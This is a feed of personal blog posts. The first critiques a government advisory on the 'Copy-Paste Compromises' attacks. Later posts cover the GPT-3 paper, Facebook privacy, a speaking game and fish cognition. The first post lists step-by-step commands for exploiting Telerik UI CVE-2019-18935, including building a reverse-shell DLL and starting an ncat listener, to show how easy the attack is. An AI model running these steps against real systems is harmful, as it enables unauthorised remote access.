<p>I won't comment about the "state-based cyber actor", because even though they won't say who it is, it's pretty obvious. So we will take that part out and instead look at how it was "sophisticated […] because of the scale and nature of the targeting and the tradecraft used." Sophisticated huh? That's interesting.</p>
<p>The Australian Cyber Security Centre’s (ACSC) published an advisory that details the tactics, techniques and procedures (TTPs) identified during the investigation of this attack. You can read the summary <a href="https://www.cyber.gov.au/threats/advisory-2020-008-copy-paste-compromises-tactics-techniques-and-procedures-used-target-multiple-australian-networks">here</a>. But I'm going to look more at the <a href="https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf">PDF</a> that goes into more detail.</p>
<p>Immediately we read that "the title ‘Copy-Paste Compromises’ is derived from the actor’s heavy use of proof of concept exploit code, web shells and other tools copied almost identically from open source."</p>
<p>Oh no, I'm already spotting a few red flags with this. Let's read that again with a focus on the important parts.</p>
<blockquote>
  <p>Heavy use of proof of concept exploit code […] copied almost identically from open source.</p>
</blockquote>
<p>Now look, I didn't expect it to be Stuxnet 2: Electric Boogaloo and have a million zero days, but these are not the words we should be reading when we are looking for a "sophisticated" cyber attack. And it's a little concering that the Australian government (and some businesses, but I expect them to have crap security anyway) are not able to defend against well known, open source vulnerabilities enacted by what seems to be a bunch of script kiddies.</p>
<p>But to be fair, it looks like most of the initial access actually comes from spearphishing people, which is a hard thing to defend against. It's more about education and telling people to stop being stupid than it is about securing your infrastructure. However, I consider social engineering to be cheating because I have social anxiety and am unable to do it, so I'm going to ignore it.</p>
<p>Instead let's look at "exploitation of public facing infrastructure—primarily through the use of remote code execution vulnerability in unpatched versions of Telerik UI." They cite CVE-2019-18935: "Telerik UI - Remote Code Execution via Insecure Deserialization" as one of the most common exploits used.</p>
<p>Telerik UI for ASP.NET AJAX is a widely used suite of UI components for web applications. It seems <code class="prettyprint">RadAsyncUpload</code>, a file handler in Telerik UI for ASP.NET AJAX that enables uploading files asynchronously, insecurely deserializes JSON objects in a manner that results in arbitrary remote code execution on the software's underlying host.<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a></p>
<p>The basic idea of the exploit is that you upload a "mixed mode assembly" DLL using Telerkit UI and specifying it as a "gaget", which is "a class within the executing scope of the application that, as a side effect of being instantiated and modified via setters or field assignment, has special properties that make it useful during deserialization."</p>
<p>Yeah I don't really know what any of that is either. Anyway, then some funky stuff happens when it attemps to deserialise it and bing bong, you got yourself remote code execution. This is a pretty common way of RCE and probably should have been found eariler, so RadAsyncUpload seems more like <strong>Bad</strong>AsyncUpload to me! Hah!</p>
<p>…</p>
<p>Ok moving on.</p>
<p>In case you are not aware of how easy it is to use exploits like these and because I want to pad this post out, let's take a look at the steps you need to do the exploit:</p>
<ol>
<li>Download the repo:</li>
</ol>
<pre class="prettyprint linenums"><code>git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
</code></pre>
<ol start="2">
<li>Install the Python environment.</li>
</ol>
<pre class="prettyprint linenums"><code>python3 -m venv env
source env/bin/activate
pip3 install -r requirements.txt
</code></pre>
<ol start="3">
<li>Build the reverse shell that they provide for you (need Visual Studio installed).</li>
</ol>
<pre class="prettyprint linenums"><code>sed -i .bu 's/<HOST>/<HOST>/; s/<PORT>/<PORT>/' rev_shell.c
build_dll.bat rev_shell.c
</code></pre>
<ol start="4">
<li>Setup Netcat for callback.</li>
</ol>
<pre class="prettyprint linenums"><code>sudo ncat -lvp <PORT>
</code></pre>
<ol start="4">
<li>Run the thing.</li>
</ol>
<pre class="prettyprint linenums"><code>python3 CVE-2019-18935.py -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -v <VERSION> -f 'C:\Windows\Temp' -p sleep_2019121205271355_x86.dll
</code></pre>
<p>You can practically copy and paste all of this as there were only three things you needed to change:</p>
<ul>
<li>The <code class="prettyprint">&lt;HOST&gt;</code> param: Obviously you need to specify what host your attacking.</li>
<li>The <code class="prettyprint">&lt;PORT&gt;</code> param: The port you'll be listening on for the reverse shell.</li>
<li>The <code class="prettyprint">&lt;VERSION&gt;</code> param: This is the version of Telerik UI that is being used as newer version have been patched. You can normally find what version it is by checking the HTML, otherwise you can brute-force it.</li>
</ul>
<p>Most of the time, you'd make your own reverse shell and tailor it for your victim (if you're any good, I never do it because I'm lazy and stupid). But the report says that "most common payloads used by the actor were copies of public proof of concept exploit code for a sleep test and reverse shell binary" which are exactly the ones we just looked at (step 3).</p>
<p>There's way more in the other sections like Privilege Escalation, Credential Access, etc. But I just wanted a quick look at how "sophisticated" the attack was. And it turns out to be pretty average if I'm to be honest.</p>
<p>This is why I don't do infosec content anymore, it's pretty boring just running the exploits and instead all the fun comes from making/finding them. But I can't do that stuff cus I'm dumb.</p>
<p>Moral of the story: patch your systems and stay in school.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://theconversation.com/did-the-census-really-suffer-a-denial-of-service-attack-63755</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://www.theguardian.com/australia-news/2020/mar/23/incompetence-attack-mygov-website-did-not-crash-because-of-ddos-cyber-assault-as-stuart-robert-claimed</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: https://know.bishopfox.com/research/cve-2019-18935-remote-code-execution-in-telerik-ui</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[GPT-3 Slaps Knees]]></title>
        <id>https://justin.duch.me/post/gpt3_slaps_knees</id>
        <link href="https://justin.duch.me/post/gpt3_slaps_knees"/>
        <updated>2020-06-05T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Hey friends, these are interesting times huh? Let's ignore all of that for now and talk about something fun instead.</p>
<p>Last week (May 28) OpenAI published a paper about their new language model GPT-3: "<a href="https://arxiv.org/abs/2005.14165">Language Models are Few-Shot Learners</a>". It's a much bigger and better version of its predecessor GPT-2. In fact, with close to 175B trainable parameters, GPT-3 is much bigger in terms of size in comparison to anything else out there. This is the abstract:</p>
<blockquote>
  <p>Recent work has demonstrated substantial gains on many NLP tasks and benchmarks by pre-training on a large corpus of text followed by fine-tuning on a specific task. While typically task-agnostic in architecture, this method still requires task-specific fine-tuning datasets of thousands or tens of thousands of examples. By contrast, humans can generally perform a new language task from only a few examples or from simple instructions - something which current NLP systems still largely struggle to do. Here we show that scaling up language models greatly improves task-agnostic, few-shot performance, sometimes even reaching competitiveness with prior state-of-the-art fine-tuning approaches. Specifically, we train GPT-3, an autoregressive language model with 175 billion parameters, 10x more than any previous non-sparse language model, and test its performance in the few-shot setting. For all tasks, GPT-3 is applied without any gradient updates or fine-tuning, with tasks and few-shot demonstrations specified purely via text interaction with the model. GPT-3 achieves strong performance on many NLP datasets, including translation, question-answering, and cloze tasks, as well as several tasks that require on-the-fly reasoning or domain adaptation, such as unscrambling words, using a novel word in a sentence, or performing 3-digit arithmetic. At the same time, we also identify some datasets where GPT-3's few-shot learning still struggles, as well as some datasets where GPT-3 faces methodological issues related to training on large web corpora. Finally, we find that GPT-3 can generate samples of news articles which human evaluators have difficulty distinguishing from articles written by humans. We discuss broader societal impacts of this finding and of GPT-3 in general.</p>
</blockquote>
<p>We've had a look at GPT-2 <a href="/post/this_post_does_not_exist_addendum">before</a> and I was impressed by what it was able to <a href="/post/this_post_does_not_exist">produce</a> especially given the small amount of training data I fed it (40 blog posts of around 900-1500 words each). Unfortunately OpenAI hasn't released the model to the public yet, so we can't do the same thing again to compare it and we'll just have to look at the examples they gave in the paper.</p>
<p>On the surface level GPT-3 doesn't look all that much like an improvement to any state-of-the-art (SOTA) models or even GPT-2. But the selling point of GPT-3 is in the title of the paper, being a "few-shot learner".</p>
<p>After the success of BERT, the field of NLP has been increasingly moving in the direction of creating pre-trained language models, trained on huge text corpus (in an unsupervised way), which are later fine-tuned on specific tasks such as translation, question answering etc using much smaller task specific datasets.</p>
<p>While this type of transfer learning obviates the need to use task specific model architectures, but you still need task specific datasets, which are a pain to collect, as well as then having to spend the time re training the entire model again. Larger datasets also come with the cost that it may make the model overly specific to the training distribution and unable to generalise outside it.</p>
<p>Humans by contrast learn in a very different way, and have the ability to learn a new task based on very few examples. GPT-3 aims to address this specific pain point, that is, it's a task agnostic model, which needs zero to very limited examples to do well and achieve close to state of the art performance on a number of NLP tasks.</p>
<p>This is "few-shot learning" as it refers to the setting where the model is given a few demonstrations of the task at inference time as conditioning, but no weight updates are allowed. This means that you can "reprogram" GPT-3 to do just about anything just by stuffing its context with examples, and it'll pick up brand new entities or words or concepts just by those examples.</p>
<p>OpenAI evaluated GPT-3 in a number of different tasks including: language modelling and completion tasks, closed book question answering, language translation, Winograd-style tasks, common sense reasoning, reading comprehension, and SuperGLUE (obviously).</p>
<p>Looking at the <a href="https://super.gluebenchmark.com/leaderboard/">SuperGLUE leaderboards</a>, "GPT-3 few-shot" is currently number 8 with a score of 71.8, only narrowly beating BERT++. In that regard GPT-3 has quite a ways to go before even being to be able match a fine-tuned SOTA. However, this result is still very competitive and to do it with a model that hasn't been fine-tuned is still a huge achievement.</p>
<p>I've also been very impressed with it's arithmetic abilities. To test this, a small battery of 10 tests that involve asking GPT-3 a simple arithmetic problem in natural language were developed. This included questions like "Q: What is 48 plus 76? A: 124.", or "Q: What is 6+(4*8)? A: 38". To my knowledge, T5 is the only model that has ever been able to complete these tasks with any amount of proficiency, and GPT-3 did it okay(ish).</p>
<p>From the paper: "On addition and subtraction, GPT-3 displays strong proficiency when the number of digits is small, achieving 100% accuracy on 2 digit addition, 98.9% at 2 digit subtraction, 80.2% at 3 digit addition, and 94.2% at 3-digit subtraction. Performance decreases as the number of digits increases, but GPT-3 still achieves 25-26% accuracy on four digit operations and 9-10% accuracy on five digit operations, suggesting at least some capacity to generalise to larger numbers of digits. GPT-3 also achieves 29.2% accuracy at 2 digit multiplication, an especially computationally intensive operation."</p>
<p>While having a "29.2% accuracy at 2 digit multiplication", may seem laughable to many of us humans, for a model that (I've had to say this a lot) <strong>isn't fine-tuned</strong> to do this specific task, this is very good. Having to know that being asked "What is 24 times 42?" means you need to perform "24 x 42" without being explicitly told so is pretty hard and shows that the model has some idea of what the words mean.</p>
<p>I also like how OpenAI discusses the ethical issues in creating models such as GPT-3. They go into great detail of how these models could be misused. As GPT-3 is able to generate several paragraphs of synthetic content that people find difficult to distinguish from human-written text, the ability to create misinformation, spam, phishing, abuse of legal and governmental processes, fraudulent academic essay writing and social engineering pretexting could become much more prevalent.</p>
<p>They then talk about how biases present in training data may lead models to generate stereotyped or prejudiced content. They found that occupations in general have a higher probability of being followed by a male gender identifier than a female one (in other words, they are male leaning) when given a context such as "The {occupation} was a" (Neutral Variant). 83% of the 388 occupations they tested were more likely to be followed by a male identifier by GPT-3.</p>
<p>For racial bias, they measured sentiment using Senti WordNet for the words which co-occurred disproportionately with each race. Each word sentiment varied from 100 to -100, with positive scores indicating positive words (eg. wonderfulness: 100, amicable: 87.5), negative scores indicating negative words (eg. wretched: -87.5, horrid: -87.5) and a score of 0 indicating neutral words (eg. sloping, chalet). Across the models they analysed, "Asian" had a consistently high sentiment - it ranked 1st in 3 out of 7 models. On the other hand, "Black" had a consistently low sentiment - it ranked the lowest in 5 out of 7 models.</p>
<p>Another concern they look at and one that I've never even thought about before is energy usage. GPT-3, given its 175B parameters will consume significant resources during training however, it can be surprisingly efficient once trained: even with the full GPT-3 175B, generating 100 pages of content from a trained model can cost on the order of 0.4 kW-hr, or only a few cents in energy costs.</p>
<p>Finally, let's look at some samples GPT-3 has generated. I've left this to last becuase, to be honest, they're not all that much better than a fine-tuned GPT-2 and I'd also rather make my own samples than take some from the paper.</p>
<p>According to the paper, this is the generated news article that humans found the easiest to distinguish from a human written article (accuracy: 61%):</p>
<blockquote>
  <p>Title: Star’s Tux Promise Draws Megyn Kelly’s Sarcasm</p>
  <p>Subtitle: Joaquin Phoenix pledged to not change for each awards event</p>
  <p>Article: A year ago, Joaquin Phoenix made headlines when he appeared on the red carpet at the Golden Globes wearing a tuxedo with a paper bag over his head that read, "I am a shape-shifter. I can't change the world. I can only change myself." It was a promise to not change to fit into the Hollywood mold: "I think that's a really special thing, to not change yourself. I think it's a really special thing to say, This is what's inside of me, I'm proud of it, and I'm not going to be ashamed because of the way that someone else thinks I should be.'" Now, it's the Oscars, and Phoenix is at it again. But this time, his publicist is saying he'll be wearing a tux no matter what.</p>
  <p>Megyn Kelly was not impressed, and she let him have it on The Tonight Show. "You know, I feel like, I feel like you could have worn the tux," she says. "But you're saying you're a shape-shifter. I don't know if you can change your tux, but you can change your mind. You can change your mind. You can change your mind." Phoenix says he did, but it didn't stick. "I was like, Okay, I'm going to wear a tuxedo to this thing.' And then I thought, I don't want to wear a tuxedo to this thing.'" Kelly goes on to encourage him to change his mind again, but Phoenix says it's too late: "I'm committed to wearing this."</p>
</blockquote>
<p>Seems pretty decent, if I had to quickly skim it I probably would have mistaken it for whatever comes out of the Internet these days.</p>
<p>GPT-3 also does poetry:</p>
<blockquote>
  <p>I must have shadows on the way<br>
  If I am to walk I must have<br>
  Each step taken slowly and alone<br></p>
  <p>To have it ready made<br>
  And I must think in lines of grey<br>
  To have dim thoughts to be my guide<br>
  Must look on blue and green<br>
  And never let my eye forget<br>
  That color is my friend<br>
  And purple must surround me too<br></p>
  <p>The yellow of the sun is no more Intrusive than the bluish snow<br>
  That falls on all of us.<br>
  I must have Grey thoughts and blue thoughts walk with me<br>
  If I am to go away at all.<br></p>
</blockquote>
<p>I don't really know if the poetry is any good, but you'd certainly trick me into thinking it was made by a human.</p>
<p>And now for the last time let me remind you: if this were any other model, you'd need to train it with hundreds of megabytes of poetry to achieve the same result. GPT-3 shows good progress in the NLP field and may become the basis for future models.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[I Scroll Through My Facebook Feed For The First Time]]></title>
        <id>https://justin.duch.me/post/facebook_feed</id>
        <link href="https://justin.duch.me/post/facebook_feed"/>
        <updated>2020-05-29T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I’ve seen many blog posts documenting people’s journey in leaving social media. The most recent one being “<a href="https://www.justinvollmer.com/2019/10/05/asocial-a-life-without-social-media/">Asocial? A Life Without Social Media</a>” from Justin Vollmer.</p>
<p>As someone who has social media but almost never uses it, I’ve always been interested in these posts and have wondered if I’ve been missing out on anything. A common theme is that apparently knowing what your friends and family are up to is important to people. From Vollmer’s post:</p>
<p>“I also miss out on social gossip (which is probably both a positive and a negative). I have missed many people’s birthdays, because I forgot to find out when they were ahead of time, and I no longer get a notification. I also am not the first to know when relationship statuses change (single -&gt; dating, dating -&gt; engaged, dating -&gt; single, etc). And I don’t always hear about major life changes either (pregnancy, moving to a new job, new state, etc). These are often small prices to pay, but they do affect me nonetheless.”</p>
<p>I’ve never really understood this because I already know what people are up to: they’re making a series of stupid mistakes that I would not personally make.</p>
<p>But I think it will be interesting to see what else is out there. As a person who spends all their time watching people play video games and reading research papers it would be nice to find other ways to waste my time.</p>
<p>This is mainly going to be about Facebook becuase I don't find Twitter or Instagram to be very interesting as they seem to be more focused on the <strong>one</strong> person instead of communities, which means that there probably aren't very many worthwhile discussions going on around there.</p>
<p>I may look at TikTok however, because I don't get it. I don't get TikTok. Why do people like it? It looks really stupid. Every time I've looked at a video that originated from TikTok it's been against my will and was about someone being an idiot.</p>
<p>But enough rambling, it's time to make social media history. This will be a tale for genenerations to come. Years from now your grandchildren will ask you: "where were you when Justin first scrolled down his Facebook feed?" And because we're such good friends, I'll give you permission to reply: "I was right there with him", even though we both know you weren't. It's 11pm right now, I'm alone in my apartment, I've spent half the day watching people do pacifist Dark Souls runs, and I haven't spoken to a single person in 4 days. So saying that is a complete lie, but I'll let it slide so you can look cool in front of your grandchildren.</p>
<p>Okay that was more rambling, but that's it I promise!</p>
<p>I think first thing you do when you want to look at your Facebook feed is to open up your internet browser (Firefox) and enter <code class="prettyprint">www.facebook.com</code> into the URL bar. While we wait for that to load because this is the modern web and a login page needs 50MB of JavaScript, let's talk about some fun stuff.</p>
<p>Remeber when in 2018 when <a href="https://techcrunch.com/2018/02/19/facebooks-tracking-of-non-users-ruled-illegal-again">Facebook’s tracking of non-users was ruled illegal again</a>. Apparently they were using "various technologies, such as the famous ‘cookies’ or the ‘social plug-ins’ (for example, the ‘Like’ or ‘Share’ buttons) or the ‘pixels’ that are invisible to the naked eye. It uses them on its website but also and especially on the websites of third parties." Which meant that "even if you have never entered the Facebook domain, Facebook is still able to follow your browsing behavior without you knowing it, let alone, without you wanting it, thanks to these invisible pixels that Facebook has placed on more than 10,000 other sites.”</p>
<p>Haha, that's pretty bad but at least they stopped doing it because it's illegal. Right?</p>
<p>Facebook is loaded now and I'm seeing a login page. Gotta be honest, I don't remeber what my password is. I thought it would be in my password manager but I must have made my account before I got started using one. Bare with me for a moment, I'll just reset it.</p>
<p>In the mean time, let's look at how Facebook is becomming the entire Internet for many people. Back in 2016, BuzzFeed News published "<a href="https://www.buzzfeednews.com/article/sheerafrenkel/fake-news-spreads-trump-around-the-world#.qlR21yOxO">This Is What Happens When Millions Of People Suddenly Get The Internet</a>", which is an excellent writeup on Myanmar.</p>
<p>Myanmar has a “low media and information literacy rate,” according to an interview given by an unnamed official in the United Nations Educational, Scientific, and Cultural Organization (UNESCO) to the Myanmar Times. Often called “digital literacy,” the term measures how well people using the internet understand what they are doing, and how to stay safe online. Countries like Myanmar, which come online quickly and without many government-backed programs to teach safe internet habits — like secure passwords and not revealing personal details online — rank among the lowest in digital literacy. They are the most likely to fall for scams, hacks, and fake news.</p>
<p>I'd encourge you to read the article, it's not that long but I can't really summarise it here.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>And you should be reading the articles I link anyway.</span></aside>
<p>But one more thing related to all this is how Facebook uses "zero rating" plans. This is when an internet provider takes bribes from online services to exempt them from data charges on their networks. Facebook says that having a roster of (Facebook-approved) services that are free-to-use benefits the poorest people in a country (and the fact that this also makes "Facebook" synonymous with "internet" for whole nations is merely incidental).</p>
<p>This isn't the case obviously, <a href="https://en.epicenter.works/document/1522">a study of 30 European countries</a> by epicenter.works found that zero-rating encourages carriers to collude with Facebook to raise prices on non-zero-rated services, making it much harder to escape Facebook's orbit (and other big incumbents).</p>
<p>I think the EFF said it best: "Zero rating limits users to a narrow experience of the Internet, and disincentivizes them from venturing beyond those services that are provided for free. This is an argument commonly directed against Facebook's Free Basics service that is offered in several developing countries. Indeed, there is evidence that at least some users may never venture beyond Facebook. Mark Zuckerberg claims to have data that half of Free Basics users in fact upgrade to full Internet access within 30 days, but this net positive effect on Internet access seems to be minimal. Given the habits of the typical Internet user, those who upgrade likely continue to disproportionately use the services they could sign up for during their stint with zero-rating, a lasting harm to competition and public discourse."<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a></p>
<p>Anyway, I've reset my password now so let's get this over with as I can finally login.</p>
<p>Okay nevermind that. Apparently Facebook doesn't trust this browser and I need to enter a code they send by SMS. Thankfully, my phone is right next to me so I don't really have the time to go into another tange…</p>
<p>Oh I just remembered that Cambridge Analytica was a thing. Hmm.</p>
<p>For the unaware, "the Facebook–Cambridge Analytica data breach occurred in early 2018 when millions of Facebook users' personal data was harvested without consent by Cambridge Analytica to be predominantly used for political advertising."<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a> That was 2 years ago, I wonder if anything has happened because of it since then.</p>
<p>According to "<a href="https://www.theguardian.com/technology/2019/mar/17/the-cambridge-analytica-scandal-changed-the-world-but-it-didnt-change-facebook">The Cambridge Analytica scandal changed the world – but it didn't change Facebook</a>" from The Guardian, Facebook hasn't really changed in response and has only made some vague promises to "pivot to privacy". They also state that the "Cambridge Analytica revelations may not have changed Facebook, but they did change us. Our eyes are now open." I'm not too sure about that. I'd consider myself to be pretty well informed about these privacy issues and I literally forgot about it for two years, so I'm not certain that the average person actually knows about this, let alone why it's such a huge deal.</p>
<p>Oh man, I just remembered the Panama Papers! What ever happened to those?!</p>
<p>On second thought, this is straying very far away from what this post was supposed to be about. I think I should call it quits here.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://www.eff.org/deeplinks/2016/02/zero-rating-what-it-is-why-you-should-care</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://en.wikipedia.org/wiki/Facebook%E2%80%93Cambridge\_Analytica\_data\_scandal</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[How Accurate Is Speaking Simulator?]]></title>
        <id>https://justin.duch.me/post/speaking_simulator</id>
        <link href="https://justin.duch.me/post/speaking_simulator"/>
        <updated>2020-05-19T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Speaking Simulator is a video game where you speak with your mouth. This is different to most video games where your stare blankly at dialogue options and press a button to speak.</p>
<p>Does this make Speaking Simulator better than The Witcher 3? Well that’s what we’re going to find out.</p>
<p>Today we’re discussing how accurate Speaking Simulator portrays the <strong>art of speaking</strong>. But first I’m going to give you a phonology lesson as we will need to know how speaking works before we can judge how accurate the game simulates it.</p>
<p>The production of any sound involves the movement of air. Most speech sounds are produced by pushing lung air through the vocal cords, up the throat, into the mouth or nise and finally out of the body.</p>
<p>Language textbooks often describe sounds by comparison with English, offering recipes for producing unusual sounds. One of my German textbooks has a dictionary filled with passages like this: ”kurios (koohr-ee-ohs): This word means strange, not curious. The German word for curious is neugierig (noy-geer-iH).” Here the word ”kurios” is shown to be pronounced as ”koohr-ee-ohs”.</p>
<p>Linguists instead use the IPA (International Phonetic Alphabet), a set of symbols with precise meanings. It utilises both ordinary letters and invented symbols. Many characters like [p] are pronouced similar to in English (where [p] is the p in ”<strong>p</strong>ill”), but some can be unfamiliar like [ʃ] which is in ”<strong>sh</strong>ill”. For comparison ”kurios” is transcribed as /ku’ri̯o:s/.</p>
<p>I’m going to have to use IPA to transcibe some words, and as a convention to indicate something is in IPA: single characters will be in brackets <code class="prettyprint">[]</code> and words will be in slashes <code class="prettyprint">//</code>.</p>
<p>The sounds of all languages fall into two classes: consonants and vowels. Consonants are produced with some restriction or closure in the vocal tract that impedes the flow of air from the lungs. <strong>Place of articulation</strong> describes where the obstruction occurs. By convention, we start at the lips and move inward. Here’s a handy diagram of the mouth I found on the Internet:</p>
<p><img src="/img/mouth.jpg" alt="mouth" /></p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Obstruction</th>
<th>IPA Examples</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bilabial</td>
<td>Both lips together</td>
<td>[p], [b], [m]</td>
</tr>
<tr>
<td>Labiodental</td>
<td>Touching the bottom lip to the upper teeth</td>
<td>[f], [v]</td>
</tr>
<tr>
<td>Dental</td>
<td>Tongue against the teeth</td>
<td>[θ], [ð]</td>
</tr>
<tr>
<td>Alveolar</td>
<td>Tongue behind the teeth</td>
<td>[s], [z], [t], [d]</td>
</tr>
<tr>
<td>Palatal</td>
<td>Tongue touching the top of the palate</td>
<td>[ʃ], [ʒ]</td>
</tr>
<tr>
<td>Velar</td>
<td>Back of the tongue against the back of the mouth</td>
<td>[k], [g], [ŋ]</td>
</tr>
<tr>
<td>Uvular</td>
<td>Tongue compressing way back in the mouth</td>
<td>[ʀ]</td>
</tr>
<tr>
<td>Glottal</td>
<td>Constricting the throat</td>
<td>[h], [ʔ]</td>
</tr>
</tbody>
</table>
<p>Speech sounds also vary in the way the airstream is affected as it flows from the lungs up and out the mouth and nose. It may be blocked or partially blocked; the vocal cords may or may not vibrate. This is the <strong>manner of articulation</strong> and is what separates sounds in each class from one another. Here are some of the common ones:</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Closure</th>
<th>IPA Examples</th>
</tr>
</thead>
<tbody>
<tr>
<td>Stops (or Plosives)</td>
<td>Complete closure</td>
<td>[p], [b], [d]</td>
</tr>
<tr>
<td>Fricatives</td>
<td>Impeded, enough to create a hissing sound</td>
<td>[ʃ], [ʒ], [x]</td>
</tr>
<tr>
<td>Affricates</td>
<td>A stop that releases into a fricative</td>
<td>[tʃ], [dʒ]</td>
</tr>
<tr>
<td>Approximants</td>
<td>Slightly impeded, no hissing sound</td>
<td>[r], [l], [j]</td>
</tr>
</tbody>
</table>
<p>These can be further separated with voicing. Sounds are <strong>voiceless</strong> when the vocal cords are apart so that air flows freely through the glottis. Sounds are <strong>voiced</strong> when the vocal cords are together and airstream forces its way through causing them to vibrate. The voiced/voiceless distinction is very imporant in English and distinguishes the words in pairs like the following:</p>
<table>
<thead>
<tr>
<th>Voiceless</th>
<th>Voiced</th>
</tr>
</thead>
<tbody>
<tr>
<td>ro<strong>p</strong>e (/ro<strong>p</strong>/)</td>
<td>ro<strong>b</strong>e (/ro<strong>b</strong>/)</td>
</tr>
<tr>
<td>fa<strong>t</strong>e (/fe<strong>t</strong>/)</td>
<td>fa<strong>d</strong>e (/fe<strong>d</strong>/)</td>
</tr>
</tbody>
</table>
<p>Vowels are produced with little restriction of the airflow from the lungs out through the mouth and/or nouse. The quality of a vowel depends on the shape of the vocal tract as the air passes through.</p>
<p>Vowel sounds carry pitch and loudness; you can sing vowels or shout vowels. They may be longer or shorter in duration. Vowels can stand alone - they can be produced without consonants before or after them. You can say the vowels of beat /bit/ and boot /but/ without the initial [b] or [t], but you cannot say a [b] or [t] alone without at least a little but of vowel sound.</p>
<p>This long introduction is important in getting you to understand how much is happening when you make sounds (I haven’t covered close to all of it). But with our new knowledge, we should be ready to judge Speaking Simulator now. Let’s see what we need to do to speak in the game.</p>
<p><img src="/img/hass2.jpg" alt="game-screen" /></p>
<p>Oh dear, this is very unfortunate. On the left you can see the inside of the mouth like in the picture above. There are 3 buttons on the inside that you move the tongue with the WASD keys to press. To the right you can see your character and with the mouse you can drag their lips up/down and left/right. This is a total of 5 ways to create sounds. I haven’t counted how many there are in real life, but I’m pretty sure it’s more than 5.</p>
<p>It appears they have completely left out the manner of articulation and how air flows through the lungs to out the mouth while also leaving out many things about the place of articulation. I don’t really have to go any further do I? You can’t make very many distinct sounds with just 5 ways to move your mouth.</p>
<p>But for fun let’s go through a simple example. Here’s my guy trying to say ”Knock. Knock.”:</p>
<p><img src="/gif/hass1.gif" alt="guy-speak" /></p>
<p>Oh deary me! They’ve got it completely wrong. All he did was move his jaw up and down! The transcription for ”Knock. Knock” is /nɒk nɒk/. Now let’s go through each character:</p>
<ul>
<li>[n] is a voiceless alveolar (used in <strong>kn</strong>ock).</li>
<li>[ɒ] an open back vowel and I’m just realising that I haven’t told you what ”open” or ”back” means so we’re going to ignore it.</li>
<li>[k] is a voiceless velar (used in knoc<strong>k</strong>).</li>
</ul>
<p>With these, we see that our lips shouldn’t close <strong>at all</strong> and our tongue should start somewhere behind the teeth and end at the back of the mouth.</p>
<p>This is a huge dissapointment, I came to Speaking Simulator to see some <strong>high quality</strong> mouth movement, not this <strong>low quality</strong> mouth movement.</p>
<p>But Speaking Simulator gets a 9/10 because any game that starts like this is a masterpiece:</p>
<p><img src="/img/hass1.jpg" alt="game-screen" /></p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[I Am A Fish]]></title>
        <id>https://justin.duch.me/post/i_am_a_fish</id>
        <link href="https://justin.duch.me/post/i_am_a_fish"/>
        <updated>2020-05-06T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><a href="https://www.nytimes.com/2017/10/16/science/depressed-fish.html">Fish can become depressed</a>.</p>
<p>I was diagnosed with depression in 2018.</p>
<p>Therefore, I am a fish.</p>
<p>I think this is sound logic, enough for you to forgive the fact that the title was actually clickbait because today on this comedy gaming blog, we’re going to talk about fish feelings.</p>
<p>Fish are very complicated animals, much more then most people normally think.</p>
<p>Fish have an ancient lineage – they have existed for over 500 million years and all other vertebrates can be traced to a fish ancestor that lived around 360 million years ago – but ancient does not equate to primitive. They have continued to evolve, and most fish species alive today emerged around the same time as humans. Evolution tends to be highly conservative, preserving important traits through time, so it is not surprising that fish and humans have many features in common, including in our brains and behaviour, due to our shared ancestry.<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a></p>
<p>Fish have very good memories, live in complex social communities where they keep track of individuals and can learn from one another; a process that leads to the development of stable cultural traditions. They recognise themselves and others. They cooperate with one another and show signs of Machiavellian intelligence such as cooperation and reconciliation. They build complex structures, are capable of tool use and use the same methods for keeping track of quantities as we do. For the most part, their primary senses are just as good, and in many cases better, than our own.<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a></p>
<p>That’s all well and good, but why am I talking about it?</p>
<p>Understanding the cognitive capacities of animals is important for animal welfare, for intelligent animals are more likely to suffer from mistreatment because they can remember and anticipate stressful and painful events. And unfortunately, there isn’t very much being done for fish welfare.</p>
<p>To learn more about this I asked Culum Brown, a professor at Macquarie University and the author/co-author of the papers I’ve cited, a few questions regarding fish intelligence and how we treat them.</p>
<p><strong>What methods do you use to study fish? I’d assume, for example, that it would be a bit more complicated than going to a lake and just looking with your eyes at how guppies inspect predators.</strong></p>
